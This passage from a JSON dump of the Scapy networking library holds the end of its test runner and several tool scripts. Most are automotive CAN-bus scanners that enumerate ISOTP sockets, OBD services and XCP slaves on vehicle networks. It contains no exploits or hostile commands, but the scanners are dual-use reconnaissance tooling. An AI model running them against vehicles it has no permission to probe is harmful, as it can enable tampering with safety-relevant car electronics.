OUTPUTFILE = optarg\n                if not os.access(os.path.dirname(os.path.abspath(OUTPUTFILE)), os.W_OK):\n                    raise getopt.GetoptError(\"Cannot write to file %s\" % OUTPUTFILE)\n            elif opt == \"-l\":\n                LOCAL = 1\n            elif opt == \"-n\":\n                NUM = []\n                for v in (x.strip() for x in optarg.split(\",\")):\n                    try:\n                        NUM.append(int(v))\n                    except ValueError:\n                        v1, v2 = [int(e) for e in v.split('-', 1)]\n                        NUM.extend(range(v1, v2 + 1))\n            elif opt == \"-N\":\n                NON_ROOT = True\n            elif opt == \"-m\":\n                MODULES.append(optarg)\n            elif opt == \"-k\":\n                KW_OK.extend(optarg.split(\",\"))\n            elif opt == \"-K\":\n                KW_KO.extend(optarg.split(\",\"))\n\n    except getopt.GetoptError as msg:\n        print(\"ERROR:\", msg)\n        raise SystemExit\n\n    if FORMAT in [Format.LIVE, Format.ANSI]:\n        theme = DefaultTheme()\n    else:\n        theme = BlackAndWhite()\n\n    # Disable tests if needed\n\n    try:\n        if NON_ROOT or os.getuid() != 0:  # Non root\n            # Discard root tests\n            KW_KO.append(\"needs_root\")\n            if VERB > 2:\n                print(\" \" + arrow + \" Non-root mode\")\n    except AttributeError:\n        pass\n\n    if BIG_ENDIAN:\n        KW_KO.append(\"little_endian_only\")\n\n    if conf.use_pcap or WINDOWS:\n        KW_KO.append(\"not_libpcap\")\n        if VERB > 2:\n            print(\" \" + arrow + \" libpcap mode\")\n\n    if sys.version_info < (3, 8):\n        KW_KO.append(\"needs_py38plus\")\n\n    KW_KO.append(\"disabled\")\n\n    if ANNOTATIONS_MODE:\n        try:\n            from pyannotate_runtime import collect_types\n        except ImportError:\n            raise ImportError(\"Please install pyannotate !\")\n        collect_types.init_types_collection()\n        collect_types.start()\n\n    if VERB > 2:\n        print(\" \" + arrow + \" Booting scapy...\")\n    try:\n        from scapy import all as scapy\n    except Exception as e:\n        print(\"[CRITICAL]: Cannot import Scapy: %s\" % e)\n        traceback.print_exc()\n        sys.exit(1)  # Abort the tests\n\n    for m in MODULES:\n        try:\n            mod = import_module(m)\n            builtins.__dict__.update(mod.__dict__)\n        except ImportError as e:\n            raise getopt.GetoptError(\"cannot import [%s]: %s\" % (m, e))\n\n    for ext in EXTENSIONS:\n        conf.exts.load(ext)\n\n    autorun_func = {\n        Format.TEXT: scapy.autorun_get_text_interactive_session,\n        Format.ANSI: scapy.autorun_get_ansi_interactive_session,\n        Format.HTML: scapy.autorun_get_html_interactive_session,\n        Format.LATEX: scapy.autorun_get_latex_interactive_session,\n        Format.XUNIT: scapy.autorun_get_text_interactive_session,\n        Format.LIVE: scapy.autorun_get_live_interactive_session,\n    }\n\n    if VERB > 2:\n        print(\" \" + arrow + \" Discovering tests files...\")\n\n    glob_output = \"\"\n    glob_result = 0\n    glob_title = None\n\n    UNIQUE = len(TESTFILES) == 1\n\n    # Resolve tags and asterix\n    for prex in copy.copy(PREEXEC_DICT).keys():\n        if \"*\" in prex:\n            pycode = PREEXEC_DICT[prex]\n            del PREEXEC_DICT[prex]\n            for gl in glob.iglob(prex):\n                _pycode = pycode.replace(\"%name%\", os.path.splitext(os.path.split(gl)[1])[0])  # noqa: E501\n                PREEXEC_DICT[gl] = _pycode\n\n    pos_begin = 0\n\n    runned_campaigns = []\n\n    from scapy.main import _scapy_builtins\n    scapy_ses = _scapy_builtins()\n    import_UTscapy_tools(scapy_ses)\n\n    # Execute all files\n    for TESTFILE in TESTFILES:\n        if VERB > 2:\n            print(theme.green(dash + \" Loading: %s\" % TESTFILE))\n        PREEXEC = PREEXEC_DICT[TESTFILE] if TESTFILE in PREEXEC_DICT else GLOB_PREEXEC\n        with open(TESTFILE, encoding='utf-8') as testfile:\n            output, result, campaign = execute_campaign(\n                testfile, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS,\n                FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER,\n                autorun_func, theme,\n                pos_begin=pos_begin,\n                scapy_ses=copy.copy(scapy_ses)\n            )\n        runned_campaigns.append(campaign)\n        pos_begin = campaign.end_pos\n        if UNIQUE:\n            glob_title = campaign.title\n        glob_output += output\n        if not result:\n            glob_result = 1\n            if BREAKFAILED:\n                break\n\n    if VERB > 2:\n        print(\n            checkmark + \" All campaigns executed. Writing output...\"\n        )\n\n    if ANNOTATIONS_MODE:\n        collect_types.stop()\n        collect_types.dump_stats(\"pyannotate_results\")\n\n    # Concenate outputs\n    if FORMAT == Format.HTML:\n        glob_output = pack_html_campaigns(runned_campaigns, glob_output, LOCAL, glob_title)\n    if FORMAT == Format.LATEX:\n        glob_output = pack_latex_campaigns(runned_campaigns, glob_output, LOCAL, glob_title)\n\n    # Write the final output\n    # Note: on Python 2, we force-encode to ignore ascii errors\n    # on Python 3, we need to detect the type of stream\n    if OUTPUTFILE == sys.stdout:\n        print(glob_output, file=OUTPUTFILE)\n    else:\n        with open(OUTPUTFILE, \"wb\") as f:\n            f.write(glob_output.encode(\"utf8\", \"ignore\")\n                    if 'b' in f.mode else glob_output)\n\n    # Print end message\n    if VERB > 2:\n        if glob_result == 0:\n            print(theme.green(\"UTscapy ended successfully\"))\n        else:\n            print(theme.red(\"UTscapy ended with error code %s\" % glob_result))\n\n    # Check active threads\n    if VERB > 2:\n        if threading.active_count() > 1:\n            print(\"\\nWARNING: UNFINISHED THREADS\")\n            print(threading.enumerate())\n        import multiprocessing\n        processes = multiprocessing.active_children()\n        if processes:\n            print(\"\\nWARNING: UNFINISHED PROCESSES\")\n            print(processes)\n\n    sys.stdout.flush()\n\n    # Return state\n    return glob_result\n\n\nif __name__ == \"__main__\":\n    if sys.warnoptions:\n        with warnings.catch_warnings(record=True) as cw:\n            warnings.resetwarnings()\n            # Let's discover the garbage waste\n            warnings.simplefilter('error')\n            print(\"### Warning mode enabled ###\")\n            res = main()\n            if cw:\n                res = 1\n        sys.exit(res)\n    else:\n        sys.exit(main())\n"
  },
  {
    "path": "scapy/tools/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nAdditional tools to be run separately\n\"\"\"\n"
  },
  {
    "path": "scapy/tools/automotive/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n\"\"\"\nAutomotive related tools to be run separately\n\"\"\"\n"
  },
  {
    "path": "scapy/tools/automotive/isotpscanner.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Alexander Schroeder <alexander1.schroeder@st.othr.de>\n\n\nimport getopt\nimport sys\nimport signal\nimport re\nimport threading\n\nfrom ast import literal_eval\n\nfrom scapy.config import conf\nfrom scapy.consts import LINUX\n\n# Typing imports\nfrom typing import (\n    Tuple,\n    Optional,\n    Any,\n)\n\nif not LINUX or conf.use_pypy:\n    conf.contribs['CANSocket'] = {'use-python-can': True}\n\nfrom scapy.contrib.cansocket import CANSocket, PYTHON_CAN   # noqa: E402\nfrom scapy.contrib.isotp import isotp_scan  # noqa: E402\n\n\ndef usage(is_error):\n    # type: (bool) -> None\n    print('''usage:\\tisotpscanner [-i interface] [-c channel]\n                [-a python-can_args] [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME]\n                [-x|--extended] [-C|--piso] [-v|--verbose] [-h|--help]\n                [-s start] [-e end]\\n\n    Scan for open ISOTP-Sockets.\\n\n    required arguments:\n    -c, --channel         python-can channel or Linux SocketCAN interface name\n    -s, --start           Start scan at this identifier (hex)\n    -e, --end             End scan at this identifier (hex)\\n\n    additional required arguments for WINDOWS or Python 2:\n    -i, --interface       python-can interface for the scan.\n                          Depends on used interpreter and system,\n                          see examples below. Any python-can interface can\n                          be provided. Please see:\n                          https://python-can.readthedocs.io for\n                          further interface examples.\n    optional arguments:\n    -a, --python-can_args Additional arguments for a python-can Bus object.\\n\n    -h, --help            show this help message and exit\n    -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME\n                          Seconds listening for noise before scan.\n    -t SNIFF_TIME, --sniff_time SNIFF_TIME\n                          Duration in milliseconds a sniff is waiting for a\n                          flow-control response.\n    -x, --extended        Scan with ISOTP extended addressing.\n                          This has nothing to do with extended CAN identifiers\n    -C, --piso            Print 'Copy&Paste'-ready ISOTPSockets.\n    -v, --verbose         Display information during scan.\\n\n        --extended_can_id Use extended CAN identifiers\n    Example of use:\\n\n    Python2 or Windows:\n        python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --start 0 --end 100\n    python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 -a 'bitrate=500000 fd=True' --start 0 --end 100\n    python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --start 0 --end 100\n    python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --start 0 --end 100\n    python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --start 0 --end 100\\n\n    Python3 on Linux:\n    python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 \\n''',  # noqa: E501\n          file=sys.stderr if is_error else sys.stdout)\n\n\ndef create_socket(python_can_args, interface, channel):\n    # type: (Optional[str], Optional[str], str) -> Tuple[CANSocket, str]\n\n    if PYTHON_CAN:\n        if python_can_args:\n            interface_string = \"CANSocket(bustype=\" \\\n                               \"'%s', channel='%s', %s)\" % \\\n                               (interface, channel, python_can_args)\n            arg_dict = dict((k, literal_eval(v)) for k, v in\n                            (pair.split('=') for pair in\n                             re.split(', | |,', python_can_args)))\n            sock = CANSocket(bustype=interface, channel=channel,\n                             **arg_dict)\n        else:\n            interface_string = \"CANSocket(bustype=\" \\\n                               \"'%s', channel='%s')\" % \\\n                               (interface, channel)\n            sock = CANSocket(bustype=interface, channel=channel)\n    else:\n        sock = CANSocket(channel=channel)\n        interface_string = \"\\\"%s\\\"\" % channel\n\n    return sock, interface_string\n\n\ndef main():\n    # type: () -> None\n    extended = False\n    piso = False\n    verbose = False\n    extended_can_id = False\n    sniff_time = 100\n    noise_listen_time = 2\n    start = None\n    end = None\n    channel = None\n    interface = None\n    python_can_args = None\n    conf.verb = -1\n\n    options = getopt.getopt(\n        sys.argv[1:],\n        'vxCt:n:i:c:a:s:e:h:w',\n        ['verbose', 'noise_listen_time=', 'sniff_time=', 'interface=', 'piso',\n         'channel=', 'python-can_args=', 'start=', 'end=', 'help', 'extended',\n         'extended_can_id'])\n\n    try:\n        for opt, arg in options[0]:\n            if opt in ('-v', '--verbose'):\n                verbose = True\n            elif opt in ('-x', '--extended'):\n                extended = True\n            elif opt in ('-C', '--piso'):\n                piso = True\n            elif opt in ('-h', '--help'):\n                usage(False)\n                sys.exit(0)\n            elif opt in ('-t', '--sniff_time'):\n                sniff_time = int(arg)\n            elif opt in ('-n', '--noise_listen_time'):\n                noise_listen_time = int(arg)\n            elif opt in ('-i', '--interface'):\n                interface = arg\n            elif opt in ('-c', '--channel'):\n                channel = arg\n            elif opt in ('-a', '--python-can_args'):\n                python_can_args = arg\n            elif opt in ('-s', '--start'):\n                start = int(arg, 16)\n            elif opt in ('-e', '--end'):\n                end = int(arg, 16)\n            elif opt in '--extended_can_id':\n                extended_can_id = True\n    except getopt.GetoptError as msg:\n        usage(True)\n        print(\"ERROR:\", msg, file=sys.stderr)\n        raise SystemExit\n\n    if start is None or \\\n            end is None or \\\n            channel is None or \\\n            (PYTHON_CAN and interface is None):\n        usage(True)\n        print(\"\\nPlease provide all required arguments.\\n\", file=sys.stderr)\n        sys.exit(1)\n\n    if end >= 2**29 or start >= 2**29:\n        print(\"Argument 'start' and 'end' must be < \" + hex(2**29),\n              file=sys.stderr)\n        sys.exit(1)\n\n    if not extended_can_id and (end >= 0x800 or start >= 0x800):\n        print(\"Standard can identifiers must be < 0x800.\\n\"\n              \"Use --extended_can_id option to scan with \"\n              \"extended CAN identifiers.\",\n              file=sys.stderr)\n        sys.exit(1)\n\n    if end < start:\n        print(\"start must be equal or smaller than end.\", file=sys.stderr)\n        sys.exit(1)\n\n    try:\n        sock, interface_string = \\\n            create_socket(python_can_args, interface, channel)\n\n        if verbose:\n            print(\"Start scan (%s - %s)\" % (hex(start), hex(end)))\n\n        stop_event = threading.Event()\n\n        def signal_handler(*args):\n            # type: (Any) -> None\n            print('Interrupting scan!')\n            stop_event.set()\n\n        signal.signal(signal.SIGINT, signal_handler)\n        signal.signal(signal.SIGTERM, signal_handler)\n\n        result = isotp_scan(sock,\n                            range(start, end + 1),\n                            extended_addressing=extended,\n                            noise_listen_time=noise_listen_time,\n                            sniff_time=float(sniff_time) / 1000,\n                            output_format=\"code\" if piso else \"text\",\n                            can_interface=interface_string,\n                            extended_can_id=extended_can_id,\n                            verbose=verbose,\n                            stop_event=stop_event)\n\n        print(\"Scan: \\n%s\" % result)\n\n    except Exception as e:\n        usage(True)\n        print(\"\\nSocket couldn't be created. Check your arguments.\\n\",\n              file=sys.stderr)\n        print(e, file=sys.stderr)\n        sys.exit(1)\n\n    finally:\n        if sock is not None and not sock.closed:\n            sock.close()\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "scapy/tools/automotive/obdscanner.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.korb@e-mundo.de>\n# Copyright (C) Friedrich Feigel <friedrich.feigel@e-mundo.de>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n\nimport getopt\nimport sys\nimport signal\nimport re\nimport traceback\n\nfrom ast import literal_eval\n\nfrom scapy.config import conf\nfrom scapy.consts import LINUX\n\nif not LINUX or conf.use_pypy:\n    conf.contribs['CANSocket'] = {'use-python-can': True}\n\nfrom scapy.contrib.isotp import ISOTPSocket                    # noqa: E402\nfrom scapy.contrib.cansocket import CANSocket, PYTHON_CAN      # noqa: E402\nfrom scapy.contrib.automotive.obd.obd import OBD               # noqa: E402\nfrom scapy.contrib.automotive.obd.scanner import OBD_Scanner, \\\n    OBD_S01_Enumerator, OBD_S02_Enumerator, OBD_S03_Enumerator, \\\n    OBD_S06_Enumerator, OBD_S07_Enumerator, OBD_S08_Enumerator, \\\n    OBD_S09_Enumerator, OBD_S0A_Enumerator  # noqa: E402\n\n\ndef signal_handler(sig, frame):\n    print('Interrupting scan!')\n    sys.exit(0)\n\n\ndef usage(is_error):\n    print('''usage:\\tobdscanner [-i|--interface] [-c|--channel] [-b|--bitrate]\n                                [-a|--python-can_args] [-h|--help]\n                                [-s|--source] [-d|--destination]\n                                [-t|--timeout] [-f|--full]\n                                [-v|--verbose]\\n\n    Scan for all possible obd service classes and their subfunctions.\\n\n    optional arguments:\n    -c, --channel               python-can channel or Linux SocketCAN interface name\\n\n    additional required arguments for WINDOWS or Python 2:\n    -i, --interface             python-can interface for the scan.\n                                Depends on used interpreter and system,\n                                see examples below. Any python-can interface can\n                                be provided. Please see:\n                                https://python-can.readthedocs.io for\n                                further interface examples.\n    optional arguments:\n    -a, --python-can_args       Additional arguments for a python-can Bus object.\n    -h, --help                  show this help message and exit\n    -s, --source                ISOTP-socket source id (hex)\n    -d, --destination           ISOTP-socket destination id (hex)\n    -t, --timeout               Timeout after which the scanner proceeds to next service [seconds]\n    -f, --full                  Full scan on id services\n    -v, --verbose               Display information during scan\n    -1                          Scan OBD Service 01\n    -2                          Scan OBD Service 02\n    -3                          Scan OBD Service 03\n    -6                          Scan OBD Service 06\n    -7                          Scan OBD Service 07\n    -8                          Scan OBD Service 08\n    -9                          Scan OBD Service 09\n    -A                          Scan OBD Service 0A\\n\n    Example of use:\\n\n    Python2 or Windows:\n    python2 -m scapy.tools.automotive.obdscanner --interface=pcan --channel=PCAN_USBBUS1 --source=0x070 --destination 0x034\n    python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --source 0x000 --destination 0x734\n    python2 -m scapy.tools.automotive.obdscanner --interface socketcan --channel=can0 --source 0x089 --destination 0x234\n    python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --source=0x070 --destination 0x034\\n\n    Python3 on Linux:\n    python3 -m scapy.tools.automotive.obdscanner --channel can0 --source 0x123 --destination 0x456 \\n''',  # noqa: E501\n          file=sys.stderr if is_error else sys.stdout)\n\n\ndef get_can_socket(channel, interface, python_can_args):\n    if PYTHON_CAN:\n        if python_can_args:\n            arg_dict = dict((k, literal_eval(v)) for k, v in\n                            (pair.split('=') for pair in\n                             re.split(', | |,', python_can_args)))\n            return CANSocket(bustype=interface, channel=channel, **arg_dict)\n        else:\n            return CANSocket(bustype=interface, channel=channel)\n    else:\n        return CANSocket(channel=channel)\n\n\ndef get_isotp_socket(csock, source, destination):\n    return ISOTPSocket(csock, source, destination, basecls=OBD, padding=True)\n\n\ndef run_scan(isock, enumerators, full_scan, verbose, timeout):\n    s = OBD_Scanner(isock, test_cases=enumerators, full_scan=full_scan,\n                    debug=verbose,\n                    timeout=timeout)\n    print(\"Starting OBD-Scan...\")\n    s.scan()\n    s.show_testcases()\n\n\ndef main():\n\n    channel = None\n    interface = None\n    source = 0x7e0\n    destination = 0x7df\n    timeout = 0.1\n    full_scan = False\n    verbose = False\n    python_can_args = None\n    enumerators = []\n    conf.verb = -1\n\n    options = getopt.getopt(\n        sys.argv[1:],\n        'i:c:s:d:a:t:hfv1236789A',\n        ['interface=', 'channel=', 'source=', 'destination=',\n         'help', 'timeout=', 'python-can_args=', 'full',\n         'verbose'])\n\n    try:\n        for opt, arg in options[0]:\n            if opt in ('-i', '--interface'):\n                interface = arg\n            elif opt in ('-c', '--channel'):\n                channel = arg\n            elif opt in ('-a', '--python-can_args'):\n                python_can_args = arg\n            elif opt in ('-s', '--source'):\n                source = int(arg, 16)\n            elif opt in ('-d', '--destination'):\n                destination = int(arg, 16)\n            elif opt in ('-h', '--help'):\n                usage(False)\n                sys.exit(0)\n            elif opt in ('-t', '--timeout'):\n                timeout = float(arg)\n            elif opt in ('-f', '--full'):\n                full_scan = True\n            elif opt == '-1':\n                enumerators += [OBD_S01_Enumerator]\n            elif opt == '-2':\n                enumerators += [OBD_S02_Enumerator]\n            elif opt == '-3':\n                enumerators += [OBD_S03_Enumerator]\n            elif opt == '-6':\n                enumerators += [OBD_S06_Enumerator]\n            elif opt == '-7':\n                enumerators += [OBD_S07_Enumerator]\n            elif opt == '-8':\n                enumerators += [OBD_S08_Enumerator]\n            elif opt == '-9':\n                enumerators += [OBD_S09_Enumerator]\n            elif opt == '-A':\n                enumerators += [OBD_S0A_Enumerator]\n            elif opt in ('-v', '--verbose'):\n                verbose = True\n    except getopt.GetoptError as msg:\n        usage(True)\n        print(\"ERROR:\", msg, file=sys.stderr)\n        raise SystemExit\n\n    if channel is None or \\\n            (PYTHON_CAN and interface is None):\n        usage(True)\n        print(\"\\nPlease provide all required arguments.\\n\",\n              file=sys.stderr)\n        sys.exit(1)\n\n    if 0 > source >= 0x800 or 0 > destination >= 0x800\\\n            or source == destination:\n        print(\"The ids must be >= 0 and < 0x800 and not equal.\",\n              file=sys.stderr)\n        sys.exit(1)\n\n    if 0 > timeout:\n        print(\"The timeout must be a positive value\")\n        sys.exit(1)\n\n    csock = None\n    isock = None\n    try:\n        csock = get_can_socket(channel, interface, python_can_args)\n        isock = get_isotp_socket(csock, source, destination)\n\n        signal.signal(signal.SIGINT, signal_handler)\n        run_scan(isock, enumerators, full_scan, verbose, timeout)\n\n    except Exception as e:\n        usage(True)\n        print(\"\\nSocket couldn't be created. Check your arguments.\\n\",\n              file=sys.stderr)\n        print(e, file=sys.stderr)\n        if verbose:\n            traceback.print_exc(file=sys.stderr)\n        sys.exit(1)\n\n    finally:\n        if isock:\n            isock.close()\n        if csock:\n            csock.close()\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "scapy/tools/automotive/xcpscanner.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Fabian Wiche <f.wiche@gmx.de>\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\nimport argparse\nimport signal\nimport sys\n\nfrom scapy.contrib.automotive.xcp.scanner import XCPOnCANScanner\nfrom scapy.contrib.automotive.xcp.xcp import XCPOnCAN\nfrom scapy.contrib.cansocket import CANSocket\n\n\nclass ScannerParams:\n    def __init__(self):\n        self.id_range = None\n        self.sniff_time = None\n        self.verbose = False\n        self.channel = None\n        self.broadcast = False\n\n\ndef signal_handler(sig, _frame):\n    sys.stderr.write(\"Interrupting scan!\\n\")\n    # Use same convention as the bash shell\n    # 128+n where n is the fatal error signal\n    # https://tldp.org/LDP/abs/html/exitcodes.html#EXITCODESREF\n    sys.exit(128 + sig)\n\n\ndef init_socket(scan_params):\n    print(\"Initializing socket for \" + scan_params.channel)\n    try:\n        sock = CANSocket(scan_params.channel)\n    except Exception as e:\n        sys.stderr.write(\"\\nSocket could not be created: \" + str(e) + \"\\n\")\n        sys.exit(1)\n    sock.basecls = XCPOnCAN\n    return sock\n\n\ndef parse_inputs():\n    scanner_params = ScannerParams()\n\n    parser = argparse.ArgumentParser()\n    parser.description = \"Finds XCP slaves using the XCP Broadcast-CAN \" \\\n                         \"identifier.\"\n    parser.add_argument('--start', '-s',\n                        help='Start ID CAN (in hex).\\n'\n                             'If actual ID is unknown the scan will '\n                             'test broadcast ids between --start and --end '\n                             '(inclusive). Default: 0x00')\n    parser.add_argument('--end', '-e',\n                        help='End ID CAN (in hex).\\n'\n                             'If actual ID is unknown the scan will test '\n                             'broadcast ids between --start and --end '\n                             '(inclusive). Default: 0x7ff')\n    parser.add_argument('--sniff_time', '-t',\n                        help='Duration in milliseconds a sniff is waiting '\n                             'for a response.', type=int, default=100)\n    parser.add_argument('channel',\n                        help='Linux SocketCAN interface name, e.g.: vcan0')\n    parser.add_argument('--verbose', '-v', action=\"store_true\",\n                        help='Display information during scan')\n    parser.add_argument('--broadcast', '-b', action=\"store_true\",\n                        help='Use Broadcast-message GetSlaveId instead of '\n                             'default \"Connect\"')\n\n    args = parser.parse_args()\n    scanner_params.channel = args.channel\n    scanner_params.verbose = args.verbose\n    scanner_params.use_broadcast = args.broadcast\n    scanner_params.sniff_time = float(args.sniff_time) / 1000\n\n    start_id = int(args.start, 16) if args.start is not None else 0\n    end_id = int(args.end, 16) if args.end is not None else 0x7ff\n\n    if start_id > end_id:\n        parser.error(\n            \"End identifier must not be smaller than the start identifier.\")\n        sys.exit(1)\n    scanner_params.id_range = range(start_id, end_id + 1)\n\n    return scanner_params\n\n\ndef main():\n    scanner_params = parse_inputs()\n    can_socket = init_socket(scanner_params)\n\n    try:\n        scanner = XCPOnCANScanner(can_socket,\n                                  id_range=scanner_params.id_range,\n                                  sniff_time=scanner_params.sniff_time,\n                                  verbose=scanner_params.verbose)\n\n        signal.signal(signal.SIGINT, signal_handler)\n\n        results = scanner.scan_with_get_slave_id() \\\n            if scanner_params.broadcast \\\n            else scanner.scan_with_connect()  # Blocking\n\n        if isinstance(results, list) and len(results) > 0:\n            for r in results:\n                print(r)\n        else:\n            print(\"Detected no XCP slave.\")\n    except Exception as err:\n        sys.stderr.write(str(err) + \"\\n\")\n        sys.exit(1)\n    finally:\n        can_socket.close()\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "scapy/tools/check_asdis.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nimport getopt\n\n\ndef usage():\n    print(\"\"\"Usage: check_asdis -i <pcap_file> [-o <wrong_packets.pcap>]\n    -v   increase verbosity\n    -d   hexdiff packets that differ\n    -z   compress output pcap\n    -a   open pcap file in append mode\"\"\", file=sys.stderr)\n\n\ndef main(argv):\n    PCAP_IN = None\n    PCAP_OUT = None\n    COMPRESS = False\n    APPEND = False\n    DIFF = False\n    VERBOSE = 0\n    try:\n        opts = getopt.getopt(argv, \"hi:o:azdv\")\n        for opt, param in opts[0]:\n            if opt == \"-h\":\n                usage()\n                raise SystemExit\n            elif opt == \"-i\":\n                PCAP_IN = param\n            elif opt == \"-o\":\n                PCAP_OUT = param\n            elif opt == \"-v\":\n                VERBOSE += 1\n            elif opt == \"-d\":\n                DIFF = True\n            elif opt == \"-a\":\n                APPEND = True\n            elif opt == \"-z\":\n                COMPRESS = True\n\n        if PCAP_IN is None:\n            raise getopt.GetoptError(\"Missing pcap file (-i)\")\n\n    except getopt.GetoptError as e:\n        print(\"ERROR: %s\" % e, file=sys.stderr)\n        raise SystemExit\n\n    from scapy.config import conf\n    from scapy.utils import RawPcapReader, RawPcapWriter, hexdiff\n    from scapy.layers import all  # noqa: F401\n\n    pcap = RawPcapReader(PCAP_IN)\n    pcap_out = None\n    if PCAP_OUT:\n        pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype)  # noqa: E501\n        pcap_out._write_header(None)\n\n    LLcls = conf.l2types.get(pcap.linktype)\n    if LLcls is None:\n        print(\" Unknown link type [%i]. Can't test anything!\" % pcap.linktype, file=sys.stderr)  # noqa: E501\n        raise SystemExit\n\n    i = -1\n    differ = 0\n    failed = 0\n    for p1, meta in pcap:\n        i += 1\n        try:\n            p2d = LLcls(p1)\n            p2 = str(p2d)\n        except KeyboardInterrupt:\n            raise\n        except Exception as e:\n            print(\"Dissection error on packet %i: %s\" % (i, e))\n            failed += 1\n        else:\n            if p1 == p2:\n                if VERBOSE >= 2:\n                    print(\"Packet %i ok\" % i)\n                continue\n            else:\n                print(\"Packet %i differs\" % i)\n                differ += 1\n                if VERBOSE >= 1:\n                    print(repr(p2d))\n                if DIFF:\n                    hexdiff(p1, p2)\n        if pcap_out is not None:\n            pcap_out.write(p1)\n    i += 1\n    correct = i - differ - failed\n    print(\"%i total packets. %i ok, %i differed, %i failed. %.2f%% correct.\" % (i, correct, differ,  # noqa: E501\n                                                                                failed, i and 100.0 * (correct) / i))  # noqa: E501\n\n\nif __name__ == \"__main__\":\n    import sys\n    try:\n        main(sys.argv[1:])\n    except KeyboardInterrupt:\n        print(\"Interrupted by user.\", file=sys.stderr)\n"
  },
  {
    "path": "scapy/tools/check_spdx.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# Check that all Scapy files have a SPDX\n\nSCRIPT_DIR=$( cd -- \"$( dirname -- \"${BASH_SOURCE[0]}\" )\" &> /dev/null && pwd )\nROOT_DIR=$SCRIPT_DIR/../..\n\n# http://mywiki.wooledge.org/BashFAQ/024\n# This documents an absolutely WTF behavior of bash.\nset +m\nshopt -s lastpipe\n\nfunction check_path() {\n    cd $ROOT_DIR\n    RCODE=0\n    for ext in \"${@:2}\"; do\n        find $1 -name \"*.$ext\" | while read f; do\n            if [[ -z $(grep \"SPDX\" $f) ]]; then\n                echo \"$f\"\n                RCODE=1\n            fi\n        done\n    done\n    return $RCODE\n}\n\ncheck_path scapy py || exit $?\n"
  },
  {
    "path": "scapy/tools/generate_bluetooth.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nGenerate the bluetoothids.py file based on blueooth_sig's public listing\n\"\"\"\n\nimport yaml\nimport json\nimport gzip\nimport urllib.request\n\nfrom base64 import b85encode\n\nURL = \"https://bitbucket.org/bluetooth-SIG/public/raw/main/assigned_numbers/company_identifiers/company_identifiers.yaml\"  # noqa: E501\n\nwith urllib.request.urlopen(URL) as stream:\n    DATA = yaml.safe_load(stream.read())\n\nCOMPILED = {}\n\nfor company in DATA[\"company_identifiers\"]:\n    COMPILED[company[\"value\"]] = company[\"name\"]\n\n# Compress properly\nCOMPILED = gzip.compress(json.dumps(COMPILED).encode())\n# Encode in Base85\nCOMPILED = b85encode(COMPILED).decode()\n# Split\nCOMPILED = \"\\n\".join(COMPILED[i : i + 79] for i in range(0, len(COMPILED), 79)) + \"\\n\"\n\n\nwith open(\"../libs/bluetoothids.py\", \"r\") as inp:\n    data = inp.read()\n\nwith open(\"../libs/bluetoothids.py\", \"w\") as out:\n    ini, sep, _ = data.partition(\"DATA = _d(\\\"\\\"\\\"\")\n    COMPILED = ini + sep + \"\\n\" + COMPILED + \"\\\"\\\"\\\")\\n\"\n    print(\"Written: %s\" % out.write(COMPILED))\n"
  },
  {
    "path": "scapy/tools/generate_ethertypes.py",
